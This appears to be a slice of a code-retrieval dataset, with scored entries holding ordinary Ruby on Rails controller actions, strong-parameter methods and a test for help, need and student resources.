"text": "def create\n redirect_to action: \"index\"\n # @help = Help.new(help_params)\n\n # respond_to do |format|\n # if @help.save\n # format.html { redirect_to @help, notice: 'Help was successfully created.' }\n # format.json { render :show, status: :created, location: @help }\n # else\n # format.html { render :new }\n # format.json { render json: @help.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"title": ""
},
{
"docid": "6fc456a8938662f71a1c172b1eab3905",
"score": "0.50368357",
"text": "def want_params\n params.permit(:want, :wantable_id, :wantable_type)\n end",
"title": ""
},
{
"docid": "473b633d3bb3ec6e1096b6fef03e084e",
"score": "0.5024988",
"text": "def create\n @shelter = Shelter.new(shelter_params)\n\n if @shelter.save\n render json: @shelter, status: :created, location: @shelter\n else\n render json: @shelter.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "bafad826a23f98b937b9e94da26cb4dc",
"score": "0.50180465",
"text": "def create\n @how_to = HowTo.new(how_to_params)\n\n respond_to do |format|\n if @how_to.save\n format.html { redirect_to @how_to, notice: 'How to was successfully created.' }\n format.json { render :show, status: :created, location: @how_to }\n else\n format.html { render :new }\n format.json { render json: @how_to.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ef290dc2ee8a9de6938597a467d360d5",
"score": "0.5015143",
"text": "def create\n @question_wanted = QuestionWanted.new(question_wanted_params)\n\n respond_to do |format|\n if @question_wanted.save\n format.html { redirect_to @question_wanted, notice: 'Question wanted was successfully created.' }\n format.json { render :show, status: :created, location: @question_wanted }\n else\n format.html { render :new }\n format.json { render json: @question_wanted.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "38dcf5cc190fa80167ba5906fbea1e81",
"score": "0.49886334",
"text": "def add_help(id, text)\n url = URI.parse(\"http://#{@@api_url}/helps/add/#{id}.xml#{@config[:apikey]}\")\n req = Net::HTTP::Post.new(url.path+@config[:apikey])\n\n req.basic_auth(@config[:email], @config[:password])\n req.set_form_data({'text' => text})\n\n response = Net::HTTP.new(url.host, url.port).start { |http| http.request(req) }\n parse(response.body)\n\n end",
"title": ""
},
{
"docid": "4fbe984fc095e5073f1e4ff59d389256",
"score": "0.4982126",
"text": "def need_params\n params.require(:need).permit(Need.safe_attributes)\n end",
"title": ""
},
{
"docid": "57a67e35a45af5713a2430cb24d71c0b",
"score": "0.49691573",
"text": "def help_params\n params.require(:help).permit(:title, :content, :category)\n end",
"title": ""
},
{
"docid": "ee1bc38542160338bfdeb4b725cad505",
"score": "0.49601626",
"text": "def create\n @seed = Seed.find(params[:need][:seed_id])\n current_user.need!(@seed)\n flash[:notice] = \"You now need #{@seed.common_name}.\"\n redirect_to needs_path\n end",
"title": ""
},
{
"docid": "41daa34b7b28f07bfabd8d27a228e8cd",
"score": "0.49532065",
"text": "def create\n if useriseditor\n @help = Help.new(help_params)\n\n respond_to do |format|\n if @help.save\n format.html { redirect_to @help, alert: 'Help was successfully created.' }\n format.json { render action: 'show', status: :created, location: @help }\n else\n format.html { render action: 'new' }\n format.json { render json: @help.errors, status: :unprocessable_entity }\n end\n end\n else\n redirect_to root_path\n end\n\n\n end",
"title": ""
},
{
"docid": "db97e62e63aeb95465171f59d3bac627",
"score": "0.49517387",
"text": "def get_help \n @booking = Booking.find(params[:id])\n owner = @booking.creator\n Notification.notify_admin(\"#{owner.first_name} #{owner.last_name} has asked for help choosing a presenter for their booking\", booking_path(@booking), :get_help)\n flash[:info] = \"An admin has been notified that you would like help choosing. They will be in contact with you shortly\"\n @booking.help_required = true\n @booking.save\n redirect_to booking_path(@booking)\n end",
"title": ""
},
{
"docid": "dd9894340d4cf16757baca74371f9f43",
"score": "0.4938279",
"text": "def test\n get(\"/help/test.json\")\n end",
"title": ""
},
{
"docid": "dd9894340d4cf16757baca74371f9f43",
"score": "0.4938279",
"text": "def test\n get(\"/help/test.json\")\n end",
"title": ""
},
{
"docid": "43ccde1006e118533a9569d5fd3debd6",
"score": "0.49267012",
"text": "def create\n @what_optional_to_do = WhatOptionalToDo.new(what_optional_to_do_params)\n\n respond_to do |format|\n if @what_optional_to_do.save\n format.html { redirect_to @what_optional_to_do, notice: 'What optional to do was successfully created.' }\n format.json { render :show, status: :created, location: @what_optional_to_do }\n else\n format.html { render :new }\n format.json { render json: @what_optional_to_do.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "50b7b9241cba48d4cb961d2141843c48",
"score": "0.4917166",
"text": "def need_params\n params.require(:need).permit(:firstname, :lastname, :manufacturer, :cost, :description, :color)\n end",
"title": ""
},
{
"docid": "e95b5d186953c9fbc3cfbed05f97ba39",
"score": "0.49043202",
"text": "def needed_control_params\n params.require(:needed_control).permit(:content, :completed)\n end",
"title": ""
},
{
"docid": "836ce5c667505bfb045154f0a7b7d57b",
"score": "0.4900933",
"text": "def create_recipe_request(version, auth_headers, data = {})\n post \"/api/recipes\", params: data, headers: {'Content-Type' => \"application/json\", 'Accept' => \"application/vnd.ink.#{version}\" }.merge(auth_headers)\nend",
"title": ""
},
{
"docid": "c53267762d8e2435ad9f0112a114693b",
"score": "0.4886166",
"text": "def requirement_params\n params.require(:requirement).permit(:content, :storypoint)\n end",
"title": ""
},
{
"docid": "d3a7250855b6374bc02b8957b48f51bb",
"score": "0.48632818",
"text": "def create_mod\n if params[:title] != nil && params[:content] != nil && params[:subId] != nil && params[:userId] != nil && params[:groupId] != nil\n @question.title = params[:title]\n @question.content = params[:content]\n @question.subId = params[:subId].to_i\n @question.userId = params[:userId].to_i\n @question.groupId = params[:groupId].to_i\n\n question_json = @question.to_h.to_json\n\n url = @httpIp+'/pet.com/api/question/createQuestion'\n uri = URI(url)\n res = Net::HTTP.post(uri, question_json, \"Content-Type\" => \"application/json\")\n puts res.body\n flash[:notice] = \"successfully created\"\n redirect_to questions_path\n\n end\n end",
"title": ""
},
{
"docid": "3c0b4cce20f1696c93e258f617c26ef4",
"score": "0.48350543",
"text": "def index\n @helps = Help.all\n end",
"title": ""
},
{
"docid": "b62af3c49660520742f03048ad53b8c3",
"score": "0.4833204",
"text": "def suggest\n # For some reason, Rails is not respecting the include_root_in_json for this action. So need to specify manually.\n render(:root => false, :json => OptionSuggester.new.suggest(current_mission, params[:q]).as_json(:for_option_set_form => true))\n end",
"title": ""
},
{
"docid": "8fa0a28680f89bbb8f30eb9e7ec0932c",
"score": "0.4821979",
"text": "def create\n @need = Need.new(need_params)\n\n respond_to do |format|\n if @need.save\n current_user.needs << @need\n format.html { redirect_to needs_path, notice: 'Need was successfully created.' }\n format.json { render action: 'show', status: :created, location: @need }\n else\n @cabins = Cabin.all\n format.html { render action: 'new' }\n format.json { render json: @need.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "edf4f66cb41a50a11558ca4ad7073b02",
"score": "0.4812434",
"text": "def makes\n make_request :get, '/makes'\n end",
"title": ""
},
{
"docid": "92f02f8f014f3bcac688100061cc9551",
"score": "0.48072022",
"text": "def post_spec\n \"it_behaves_like 'POST', params: {}\"\n end",
"title": ""
},
{
"docid": "d0f9edc5b4ab011a38307fe9c67006bb",
"score": "0.47954243",
"text": "def showerthought_create_params\n params.require(:showerthought).permit(:content, :context, :user_id)\n end",
"title": ""
},
{
"docid": "deec1fe1829cf30ac540bdc6149d2d5b",
"score": "0.4790616",
"text": "def manual_review_needed_template\n 'manual_review_needed'\n end",
"title": ""
},
{
"docid": "a77646fd93c16257dee4a4665ea44301",
"score": "0.47830838",
"text": "def type_of_help_params\n params.require(:type_of_help).permit(:name)\n end",
"title": ""
},
{
"docid": "7909b7c638ec98c5f60c3564ccdfeb55",
"score": "0.47818702",
"text": "def tool_params\n params.require(:tool).permit(:name, :language, :json_spec)\n end",
"title": ""
},
{
"docid": "a822bbbb763b420b18784e2ef7c7de0b",
"score": "0.4779932",
"text": "def create\n @help = Help.new(help_params)\n create_q(@help)\n end",
"title": ""
},
{
"docid": "55e65a241febf320240cb3f147c0aff6",
"score": "0.4770727",
"text": "def apiCreateAsk\n key = request.headers[\"X-API-KEY\"]\n @user = User.find(params[:id])\n if @user.oauth_token == key\n @contribution = Contribution.new(params.permit(:title, :text))\n @contribution.user_id = params[:id]\n @contribution.url = ''\n if @contribution.title != nil && @contribution.save\n render json: {status: 'SUCCES', message: 'Post saved', data: @contribution}, status: :ok\n else\n render json: {status: 'ERROR', message: 'Internal server error', data:[]}, status: :internal_server_error\n end\n else\n render json: {status: 'ERROR', message: 'Authentication error', data:[]}, status: :unauthorized\n end\n end",
"title": ""
},
{
"docid": "626ec41cdc642ebb7694d1c21ab558f1",
"score": "0.47648326",
"text": "def create\n puts post_params\n @post = Post.new(post_params)\n params[:requirement].each do |key, req|\n if req[\"id\"] ==\"1\"\n item = Requirement.find(key)\n @post.requirements << item\n end\n end\n @post.errors.messages\n if @post.save\n # format.html { render :index, notice: 'Post was successfully created.' }\n # format.json { render :index, status: :created, location: @post }\n redirect_to posts_path\n else\n render text: @post.errors.messages.to_s\n end\n end",
"title": ""
},
{
"docid": "1dc634236aac32a06ee7bf3b25b5bb25",
"score": "0.47501865",
"text": "def post_params #{{{\n params.require(:snippet).permit(:trigger, :links, :pre, :category, :desc, :ruby2, :bash4, :vim, :java, :vbs, :python3, :js, :winshell, :powershell, :groovy, :c, :cpp, :scala, :erlang, :clojure, :rails4)\n end",
"title": ""
},
{
"docid": "21e2504e108703040aa0d36790739564",
"score": "0.47487345",
"text": "def create\n respond_to do |format|\n if @tips_trick.save\n format.html { redirect_to @tips_trick, notice: 'Tips trick was successfully created.' }\n format.json { render json: @tips_trick, status: :created, location: @tips_trick }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tips_trick.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3a970e65e85544587ef70712be7dbed1",
"score": "0.47441065",
"text": "def wynthought_params\n params.require(:wynthought).permit(:title, :body, :suggestion_id)\n end",
"title": ""
},
{
"docid": "2706cb1c4684061aea8b2d379c5d0a83",
"score": "0.47406808",
"text": "def check_for_requirements; end",
"title": ""
},
{
"docid": "26bb17ad4cd695a62546005d48bd2c36",
"score": "0.4737533",
"text": "def help_params\n params.require(:help).permit(:gst, :qst)\n end",
"title": ""
},
{
"docid": "c23cf9d7bedfb808cc915cb370d656fe",
"score": "0.4734825",
"text": "def help\r\n dc_form_read\r\n form_name = CmsHelper.form_param(params) || CmsHelper.table_param(params)\r\n help_file_name = @form['help'] || @form['extend'] || form_name\r\n help_file_name = DcApplicationController.find_help_file(help_file_name)\r\n @help = YAML.load_file(help_file_name) if help_file_name\r\n # no auto generated help on index action\r\n return render json: {} if params[:type] == 'index' && @help.nil?\r\n\r\n render json: { popup: render_to_string(partial: 'help') }\r\nend",
"title": ""
},
{
"docid": "5bb0cf6b122b9a4c24bea574528247cb",
"score": "0.47329035",
"text": "def create\n @need = Need.new(need_params)\n @case = @need.case\n respond_to do |format|\n if @need.save\n set_link_to_appointment(@need)\n format.html { redirect_to back_index_case_url, notice: 'Need was successfully created.' }\n format.json { render :show, status: :created, location: @need }\n else\n format.html { render :new }\n format.json { render json: @need.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a86498cfb27edbe23730c9cad9916fdf",
"score": "0.4727183",
"text": "def prebooking_questions\n\n # this is a patch\n if @url.blank? or @token.blank?\n return []\n end\n\n [\n {\n question: \"How many guests will be riding with you?\", \n choices: [0,1,2,3], \n code: \"guests\"\n },\n {\n question: \"How many attendants will be riding with you?\", \n choices: [0,1,2,3], \n code: \"attendants\"\n },\n {\n question: \"How many mobility devices will you be bringing?\", \n choices: [0,1,2,3], \n code: \"mobility_devices\"\n },\n {\n question: \"What is your trip purpose?\", \n choices: (trip_purposes[\"trip_purposes\"] || \n Config.ride_pilot_purposes.try(:map) {|k,v| {\"name\" => k, \"code\" => v}} || \n []).map{|p| [p[\"name\"], p[\"code\"]]}, \n code: \"purpose\"\n }\n ]\n end",
"title": ""
},
{
"docid": "ace8358c87f8031170567048a0139b22",
"score": "0.47172433",
"text": "def create\n @howitwork = Howitwork.new(howitwork_params)\n\n respond_to do |format|\n if @howitwork.save\n format.html { redirect_to admin_howitwork_url(@howitwork), notice: 'Howitwork was successfully created.' }\n format.json { render :show, status: :created, location: @howitwork }\n else\n format.html { render :new }\n format.json { render json: @howitwork.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5e4a9d1ae5c80e776f89b3a3eb875c95",
"score": "0.47155145",
"text": "def create\n @potluck_recipe = PotluckRecipe.new(potluck_recipe_params)\n if @potluck_recipe.save\n render json: {result: @potluck_recipe}\n else\n render json: { result: @potluck_recipe.errors, status: :unprocessable_entity }\n end\n end",
"title": ""
},
{
"docid": "4763e7ff0e7c6ea2df967329499e7f95",
"score": "0.46992004",
"text": "def quick_create\n @client = (current_user && current_user.has_role?('admin', 'staff')) ? Client.find(params[:client_id]) : current_user\n @listing = params[:id] ? Listing.find(params[:id]) : @client.listings.build(:title => params[:title], :storage_types => 'self storage')\n \n if (@listing.new_record? ? @listing.save(false) : @listing.update_attribute(:title, params[:title]))\n render :json => { :success => true, :data => { :listing_id => @listing.id } }\n else\n render :json => { :success => false, :data => model_errors(@listing) }\n end\n end",
"title": ""
},
{
"docid": "3e87adc4711e854812f8ca22ece44493",
"score": "0.4697411",
"text": "def index\n super\n @helps = Help.all\n end",
"title": ""
},
{
"docid": "b8eb31cfc25c95ce5d5b843a1902e3f7",
"score": "0.46937913",
"text": "def create\n @need = Need.new(need_params)\n @need.staff_id = current_staff.id\n @need.status = \"waiting\"\n\n respond_to do |format|\n if @need.save\n format.html { redirect_to @need, notice: 'Need was successfully created.' }\n format.json { render action: 'show', status: :created, location: @need }\n else\n format.html { render action: 'new' }\n format.json { render json: @need.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a41ec18cbacabd60db5a52c8615a517c",
"score": "0.46921393",
"text": "def safety_manual_params\n params.require(:safety_manual).permit(:title)\n end",
"title": ""
},
{
"docid": "4f8ec6529b300584679b67c4b59dfef8",
"score": "0.46892205",
"text": "def help_params\n logger.debug(\"HelpsController.help_params: params: #{params.inspect}\")\n params.require(:help).permit(:name, :title, :description, :help_type)\n end",
"title": ""
},
{
"docid": "e93b67f680f30312ef22403e77348027",
"score": "0.4687118",
"text": "def guide_params\n params.require(:guide).permit(:title, :description, :steps, :source)\n end",
"title": ""
},
{
"docid": "804477508294301e2fb7a11c860c5355",
"score": "0.46754014",
"text": "def create\n\n\n@need = Need.new()\n@need.firstname = params[:need][:firstname]\n@need.lastname = params[:need][:lastname]\n@need.color = params[:need][:color]\n@need.manufacturer = params[:need][:manufacturer]\n# create an instance/object of a BasicCar\nmyNeed = BasicNeed.new(2000, @need.manufacturer, @need.color)\n# add the extra features to the new need\nif params[:need][:milk].to_s.length > 0 then\nmyNeed = MilkDecorator.new(myNeed)\nend\nif params[:need][:egg].to_s.length > 0 then\nmyNeed = EggDecorator.new(myNeed)\nend\nif params[:need][:bread].to_s.length > 0 then\nmyNeed = BreadDecorator.new(myNeed)\nend\n## populate the cost and the description details\n@need.cost = myNeed.cost\n@need.description = myNeed.details\n\n# Singleton Logg\nlogger = SpLogger.instance\nlogger.logInformation(\" A new Basic Need is added:\" + @need.description)\n\nrespond_to do |format|\nif @need.save\nformat.html { redirect_to @need, notice: 'need was successfully created.'}\nformat.json { render :show, status: :created, location: @need }\nelse\nformat.html { render :new }\n\nformat.json { render json: @need.errors, status: :unprocessable_entity }\nend\nend\nend",
"title": ""
},
{
"docid": "d5727236a2970dde615dafe7ff5eb836",
"score": "0.46702027",
"text": "def create\n @special_requirement = SpecialRequirement.new(special_requirement_params)\n\n respond_to do |format|\n if @special_requirement.save\n format.html { redirect_to @special_requirement, notice: 'Special requirement was successfully created.' }\n format.json { render :show, status: :created, location: @special_requirement }\n else\n format.html { render :new }\n format.json { render json: @special_requirement.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5a21805679fdbcb7a64e7261abb4c239",
"score": "0.46685076",
"text": "def create\n matching_service_providers = ::ServiceOffering::FindMatchesForHelpRequest.call!(help_params: help_params)\n service_provider_ids = matching_service_providers.map(&:id)\n return redirect_to '/helps/matching_service_providers',\n service_providers: service_provider_ids\n end",
"title": ""
},
{
"docid": "44a2135f2996b13d2735c754d7557ac1",
"score": "0.46558502",
"text": "def send_feedback_to_slack\n send_request_to_slack(make_positive_response)\n end",
"title": ""
},
{
"docid": "294c64de9bee37d3d489a70f1ea9f213",
"score": "0.46368754",
"text": "def search\n search_results = NeedHelp.search(params[:column], params[:key])\n render :json => search_results.to_json(\n :include => [\n :need_help_category, :user => {:include => :street}\n ])\n end",
"title": ""
},
{
"docid": "f95defd6ff4c35457938742b1d2d3ed4",
"score": "0.46354213",
"text": "def create\n=begin\n params[:short_term_goal][:tasks] = Array.new\n tasks_array = Array.new\n if params[:task]\n params[:task].each do |num,task| \n tasks_array[Integer(num)] = task if task != ''\n end\n end\n tasks_array.each do |task|\n params[:short_term_goal][:tasks] << Task.create(:name => task) if task != nil\n end\n=end\n @short_term_goal = ShortTermGoal.new(params[:short_term_goal])\n respond_to do |format|\n if @short_term_goal.save\n format.html { redirect_to(myguide_path(@current_user), :notice => 'Short term goal was successfully created.') }\n format.xml { render :xml => @short_term_goal, :status => :created, :location => @short_term_goal }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @short_term_goal.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "946e9cba0fafd1c4401b7950e6c3df73",
"score": "0.4635243",
"text": "def create\n @guide = Guide.new(guide_params)\n\n respond_to do |format|\n action_message_for('new')\n if create_guide\n format.html { redirect_to redirect_target(@guide), flash: @feedback_flash }\n format.json { render :show, status: :created, location: @guide }\n else\n 1.times { @guide.sections.new }\n 1.times { @guide.sections.new } if @guide.subtype == 'detailed_guide' && @guide.sections.size < 2\n format.html { render :new }\n format.json { render json: @guide.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8eed1295c2e50a9bc30a3a37616d73fe",
"score": "0.46338624",
"text": "def create\n @client_need = ClientNeed.new(params[:client_need])\n\n respond_to do |format|\n if @client_need.save\n format.html { redirect_to @client_need, notice: 'Client need was successfully created.' }\n format.json { render json: @client_need, status: :created, location: @client_need }\n else\n format.html { render action: \"new\" }\n format.json { render json: @client_need.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "59f220027b5ca2ff7910a0b80c81b651",
"score": "0.46267468",
"text": "def create\n @what_should_avoid = WhatShouldAvoid.new(what_should_avoid_params)\n\n respond_to do |format|\n if @what_should_avoid.save\n format.html { redirect_to @what_should_avoid, notice: 'What should avoid was successfully created.' }\n format.json { render :show, status: :created, location: @what_should_avoid }\n else\n format.html { render :new }\n format.json { render json: @what_should_avoid.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c5e096ac74fd8148f8032a6b77a08c17",
"score": "0.46251082",
"text": "def single_housing_params\n params.require(:single_housing).permit(:title, :description)\n end",
"title": ""
},
{
"docid": "34aa0f2e648345d9c9c725469cf810e3",
"score": "0.4623709",
"text": "def want_params\n params.require(:want).permit(:title, :category_id, :description, :price_description, :opened)\n end",
"title": ""
},
{
"docid": "8e476589bcceb7d94448d0737f086f49",
"score": "0.46227303",
"text": "def test_javascripty_name_reasons\n login('rolf')\n\n # If javascript isn't enabled, then checkbox isn't required.\n post(:create_observation,\n :observation => { :place_name => 'Where, Japan', :when => Time.now },\n :name => { :name => names(:coprinus_comatus).text_name },\n :vote => { :value => 3 },\n :reason => {\n \"1\" => { :check => '0', :notes => '' },\n \"2\" => { :check => '0', :notes => 'foo' },\n \"3\" => { :check => '1', :notes => '' },\n \"4\" => { :check => '1', :notes => 'bar' }\n }\n )\n assert_response(:redirect) # redirected = successfully created\n naming = Naming.find(assigns(:naming).id)\n reasons = naming.get_reasons.select(&:used?).map(&:num).sort\n assert_equal([2,3,4], reasons)\n\n # If javascript IS enabled, then checkbox IS required.\n post(:create_observation,\n :observation => { :place_name => 'Where, Japan', :when => Time.now },\n :name => { :name => names(:coprinus_comatus).text_name },\n :vote => { :value => 3 },\n :reason => {\n \"1\" => { :check => '0', :notes => '' },\n \"2\" => { :check => '0', :notes => 'foo' },\n \"3\" => { :check => '1', :notes => '' },\n \"4\" => { :check => '1', :notes => 'bar' }\n },\n :was_js_on => 'yes'\n )\n assert_response(:redirect) # redirected = successfully created\n naming = Naming.find(assigns(:naming).id)\n reasons = naming.get_reasons.select(&:used?).map(&:num).sort\n assert_equal([3,4], reasons)\n end",
"title": ""
},
{
"docid": "8e476589bcceb7d94448d0737f086f49",
"score": "0.46227303",
"text": "def test_javascripty_name_reasons\n login('rolf')\n\n # If javascript isn't enabled, then checkbox isn't required.\n post(:create_observation,\n :observation => { :place_name => 'Where, Japan', :when => Time.now },\n :name => { :name => names(:coprinus_comatus).text_name },\n :vote => { :value => 3 },\n :reason => {\n \"1\" => { :check => '0', :notes => '' },\n \"2\" => { :check => '0', :notes => 'foo' },\n \"3\" => { :check => '1', :notes => '' },\n \"4\" => { :check => '1', :notes => 'bar' }\n }\n )\n assert_response(:redirect) # redirected = successfully created\n naming = Naming.find(assigns(:naming).id)\n reasons = naming.get_reasons.select(&:used?).map(&:num).sort\n assert_equal([2,3,4], reasons)\n\n # If javascript IS enabled, then checkbox IS required.\n post(:create_observation,\n :observation => { :place_name => 'Where, Japan', :when => Time.now },\n :name => { :name => names(:coprinus_comatus).text_name },\n :vote => { :value => 3 },\n :reason => {\n \"1\" => { :check => '0', :notes => '' },\n \"2\" => { :check => '0', :notes => 'foo' },\n \"3\" => { :check => '1', :notes => '' },\n \"4\" => { :check => '1', :notes => 'bar' }\n },\n :was_js_on => 'yes'\n )\n assert_response(:redirect) # redirected = successfully created\n naming = Naming.find(assigns(:naming).id)\n reasons = naming.get_reasons.select(&:used?).map(&:num).sort\n assert_equal([3,4], reasons)\n end",
"title": ""
},
{
"docid": "2d66a2a904ba233c29431da0fd47d076",
"score": "0.4617681",
"text": "def knowledge_params\n params.require(:knowledge).permit(:name, :desc)\n end",
"title": ""
},
{
"docid": "f0c8d14ce838a771f68fe3d4129a407a",
"score": "0.46136647",
"text": "def create_tool\n if @work_order_tool.present?\n render json: :conflict, status: :conflict\n else\n @work_order_tool = WorkOrderTool.new\n @work_order_tool.assign_attributes(@json['data'])\n if !@json['data']['created_by']\n @work_order_tool.created_by = current_user.id if !current_user.nil?\n end\n if @work_order_tool.save\n render json: serialized_work_order_tool(@work_order_tool), status: :created\n else\n render json: format_errors(@work_order_tool), status: :unprocessable_entity\n end\n end\n end",
"title": ""
},
{
"docid": "5bb7c8cef92a53a5b9862c4d8e12d373",
"score": "0.4606149",
"text": "def need_help_link\n\t\t@browser.span(text: @need_help_text)\n\tend",
"title": ""
},
{
"docid": "6f746ce0e4e4bd360fc579e49d9b99c5",
"score": "0.46037805",
"text": "def create\n @suggestion = Suggestion.new(suggestion_params)\n\n if @suggestion.save\n render :show, status: :created, location: @suggestion\n else\n render json: @suggestion.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "f0ddfba32eff879d030b3094407306a9",
"score": "0.4601887",
"text": "def create\n @requirement = Requirement.new(requirement_params)\n\n if @requirement.save\n render :show, status: :created, location: @requirement\n else\n render json: @requirement.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "3e884693fd7c82a2e3716030183d181e",
"score": "0.4601275",
"text": "def recipe_params\n params.require(:recipe).permit(:title, :summary, :instructions)\n end",
"title": ""
},
{
"docid": "a2cd185f12c8da2ad0f384d8a7187bdb",
"score": "0.45994133",
"text": "def create\n @code_help = CodeHelp.new(params[:code_help])\n\n respond_to do |format|\n if @code_help.save\n format.html { redirect_to @code_help, notice: 'Code help was successfully created.' }\n format.json { render json: @code_help, status: :created, location: @code_help }\n else\n format.html { render action: \"new\" }\n format.json { render json: @code_help.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e45911751385cee3e524ac281b9d0c26",
"score": "0.45992553",
"text": "def can_ever_create_works?\n !creatable_works.empty?\n end",
"title": ""
},
{
"docid": "e74484d87ed8f5d1ab21113c0857f8e2",
"score": "0.45949066",
"text": "def hello_params\n params.require(:hello).permit(:title, :notes)\n end",
"title": ""
},
{
"docid": "67ec5bb2d0612e4bcc033bc78860c06b",
"score": "0.45899308",
"text": "def new\n @howtolist = @product.howtolists.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @howtolist }\n end\n end",
"title": ""
},
{
"docid": "2f9d42f230f428b65532b72fcb6af0a3",
"score": "0.45822474",
"text": "def pleasure_params\n params.permit(:title)\n end",
"title": ""
},
{
"docid": "a03f22a6f715b53a500c392add322239",
"score": "0.457843",
"text": "def create\n # Build a ticket associated with the current user and fill with strong parameters\n @ticket = current_user.help_requests.build(ticket_params)\n # New Hash\n add_info = {}\n # New Nested Array\n add_info[:tagged_users] = []\n # Scan for tagged users in the report:\n @ticket.desc.scan(USER_TAG_REGEX) do |name|\n # Find a tagged user in the database\n user = User.find_by_name(name)\n # Add the tagged user to the hash of tagged users\n add_info[:tagged_users] << user.name unless user == nil\n end\n # Save a JSON representation of the add_info hash to the record\n @ticket.addinfo = JSON.generate(add_info)\n # Save the new record in the database\n @ticket.save\n # Send the user to their homepage\n redirect_to me_path\n end",
"title": ""
},
{
"docid": "3857c85b813619ce275f66dc3e574335",
"score": "0.45780024",
"text": "def test_cannot_create_a_task_without_a_title\n post '/tasks', { task: { description: \"else\", user_id: 1 } }\n assert_equal 0, Task.count\n assert_equal 403, last_response.status\n assert_equal \"Title can't be blank\", last_response.body\n end",
"title": ""
}
] |
8086a66676c6908ee8dc02297fce9b92 | POST /students POST /students.json | [
{
"docid": "1f17dae11e04b96eed58a94509398857",
"score": "0.70311",
"text": "def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] | [
{
"docid": "2befafcc6f076a73b42fca9ccbe2e9dc",
"score": "0.7812279",
"text": "def create\n require 'net/http'\n require 'json'\n\n student = Student.new(student_params)\n\n uri = URI('http://localhost:3000/students.json')\n\n request = Net::HTTP::Post.new uri, { 'Content-Type' => 'application/json' }\n # Appending the data to the request.\n request.body = student.to_json\n\n # Hitting the endpoint.\n response = Net::HTTP.start uri.hostname, uri.port do |http|\n http.request request\n end\n\n # If successful.\n if response.code == '200'\n redirect_to students_path, notice: 'Student was successfully created.'\n else\n render :new\n end\n end",
"title": ""
},
{
"docid": "13d41e57ab264f5cb17b4a5dbcbea462",
"score": "0.7407881",
"text": "def create\n student = student.new(student_params)\n\n if student.save\n render json: student, status: :created\n else\n render json: student.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "642164cade374f92387eb1bae61a84bf",
"score": "0.73660696",
"text": "def create\n\t\t@student = Student.create(student_params)\n\n\t\trespond_to do |format|\n\t\t\tif @student.save\n\t\t\t\tformat.html { redirect_to @student, notice: 'Student was successfully created.' }\n\t\t\t\tformat.json { @students = Student.all }\n\t\t\telse\n\t\t\t\tformat.html { render :new }\n\t\t\t\tformat.json { render json: @student.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "dae51407b640fcedb95f3284ea07545a",
"score": "0.7348163",
"text": "def create\n Student.create!(student_params)\n json_response({success: true, message: Message.created_successfuly('Student record')}, :created)\n end",
"title": ""
},
{
"docid": "9ee1f0e15db341d1323c148656c12701",
"score": "0.72844505",
"text": "def create\n @student = current_user.students.build(student_params)\n if @student.save\n render json: @student\n else\n @student_items = []\n end\n end",
"title": ""
},
{
"docid": "c9e1f2d333b88f0d991b768ef8c95c8e",
"score": "0.72217757",
"text": "def create\n @student = Student.new\n @student.name = params[:student][:name]\n @student.save!\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { render :json => @student }\n end\n end",
"title": ""
},
{
"docid": "091e29ac045f89349636aac834a4ec17",
"score": "0.7154584",
"text": "def create\n @student = Student.new(params[:student])\n respond_to do |format|\n if @student.save\n format.html { redirect_to students_path, notice: 'student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5a0731d7806de8a7bbd20dda52089bde",
"score": "0.7149329",
"text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to '/students', notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5a0731d7806de8a7bbd20dda52089bde",
"score": "0.7149329",
"text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to '/students', notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7e5ffd1608699c8bae53d86377be5ee1",
"score": "0.71369624",
"text": "def users_students course_id\n call_path = \"users/students\"\n request = {\"courseID\": course_id}\n data = build_post_data(request.to_json)\n perform_post(build_url(call_path), data)\n end",
"title": ""
},
{
"docid": "4dc262e1fc05a2d16efa395d9de2d22d",
"score": "0.71114737",
